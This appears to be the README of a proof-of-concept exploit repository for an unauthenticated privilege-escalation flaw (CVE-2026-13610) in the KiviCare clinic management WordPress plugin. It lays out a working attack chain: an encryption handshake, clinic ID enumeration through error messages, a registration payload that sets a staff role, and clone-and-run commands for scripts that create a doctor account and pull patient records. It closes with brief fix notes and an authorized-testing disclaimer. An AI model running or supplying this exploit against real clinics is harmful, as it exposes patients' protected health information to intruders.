
Exploit PoC for unauthenticated doctor/receptionist account creation in the KiviCare WordPress plugin via improper privilege management, providing staff-level PHI access.
CWE-269 (Improper Privilege Management) | Unauthenticated registration with attacker-chosen staff role → patient PHI disclosure
Critical vulnerability in the KiviCare – Clinic & Patient Management System WordPress plugin (versions up to and including 4.5.1) that allows unauthenticated attackers to register a doctor (kiviCare_doctor) or receptionist (kiviCare_receptionist) account with a self-chosen password, mapped into a clinic of the attacker's choice.
The vulnerability exists because the public registration endpoint takes the user_role parameter straight from the request body, and its validation whitelist includes clinic staff roles:
The registration endpoint POST /wp-json/kivicare/v1/auth/register
(app/controllers/api/AuthController.php:237–242) is guarded only by
checkRegistrationPermission() (:602–650), which:
true immediately if users_can_register is enabled (no auth check).KCOption::get() returns null on default installs.return true at the end of the function.The register() handler (:1277–1387) then reads user_role from the
request body, maps it to KCDoctor / KCReceptionist models, and calls
$model->save() — which runs wp_insert_user() and
setRole('kiviCare_doctor') (app/models/KCDoctor.php:136) with no
authorization check whatsoever. The resulting account is active and mapped
to the attacker-chosen clinic.
The plugin's E2EE body encryption is not a barrier: the handshake endpoints
(server-key, config/register-key) are unauthenticated
(app/controllers/api/ConfigController.php:190–205), so any client can
negotiate a guest key and send an encrypted payload.
Full walkthrough: analysis/TECHNICAL_ANALYSIS.md
1. Handshake (encrypted targets):
POST /wp-json/kivicare/v1/server-key -> server X25519 public key
POST /wp-json/kivicare/v1/config/register-key -> register own public key
(header x_kc_client_id: <anything>, body {"public_key": "<base64>"})
2. Enumerate a valid clinic ID via the validation oracle:
"Invalid clinic selected" -> clinic does not exist
"Username already exists" -> clinic exists
3. Encrypt the payload and send:
POST /wp-json/kivicare/v1/auth/register
body = base64( nonce(24B) || crypto_box(json) )
{
"username": "attacker",
"email": "[email protected]",
"password": "P@ssw0rd-123!",
"first_name": "Att", "last_name": "Acker",
"mobile_number": "+15550133777",
"gender": "male",
"user_role": "kiviCare_doctor", <-- vulnerable parameter
"user_clinic": 1
}
4. HTTP 201 "Registration successful." -> active doctor account created
5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt
python preflight.py http://target.com
python exploit.py --url http://target.com \
--username attacker --email [email protected] --password 'P@ssw0rd-123!'
The script auto-detects the transport mode (plain JSON vs E2EE-encrypted)
and enumerates clinic IDs when --clinic is not supplied.
python verify_impact.py --url http://target.com \
--username attacker --password 'P@ssw0rd-123!'
Logs in via REST, rebinds the account's E2EE response key, then calls
staff-only endpoints (/patients, /appointments).
--url Target base URL (required)
--username Username to create (default: attacker<random>)
--email Email (default: <username>@evil.example)
--password Password (default: Poc!Passw0rd-2026)
--role kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic Clinic ID (auto-enumerated when omitted)
--mobile Mobile number (default: random +1555...)
--first-name First name (default: Dr)
--last-name Last name (default: Poc)
--gender Gender (default: male)
--no-verify Skip post-creation login verification
Successful exploitation yields an active staff account mapped into a real clinic, with no authentication required:
wp-admin dashboard access (read +
upload_files) — a foothold for further attacksThe endpoint does not allow creating a WordPress administrator account
(the user_role whitelist rejects it), but the doctor role is sufficient for
full clinical-data access.
patient_role_only parametercurrent_user_can('create_users') + nonce verificationcheckRegistrationPermission — remove the
fallthrough return truerecaptchaToken when reCAPTCHA is enabled (currently optional)FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.
This tool is intended for security researchers and penetration testers with explicit written authorization to test target systems. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse of this tool. All verification was performed on the author's own lab infrastructure.
ghostpels — Security Research & Exploit Development
This project is licensed under the ghostpels Security Research License.
| Gate | What it does | Result |
|---|
permission_callback | No is_user_logged_in(), no nonce, no capability check | Passes; ends with return true |
user_role whitelist | Accepts kiviCare_doctor, kiviCare_receptionist, kiviCare_patient | Attacker selects staff role |
patient_role_only param | Declared with default yes | Never read — dead parameter |
| reCAPTCHA | Only validated if (isset($params['recaptchaToken'])) | Bypassed by omitting the parameter |
| Field | Value |
|---|
| CVE ID | CVE-2026-13610 |
| CWE | CWE-269 (Improper Privilege Management) |
| Plugin | KiviCare – Clinic & Patient Management System |
| Affected | Versions up to and including 4.5.1 |
| Patched | Not confirmed as of this analysis |
| Type | Unauthenticated account creation with staff role (privilege escalation) |
| Researcher | Sai Praneeth Koti |
| Published | 2026 |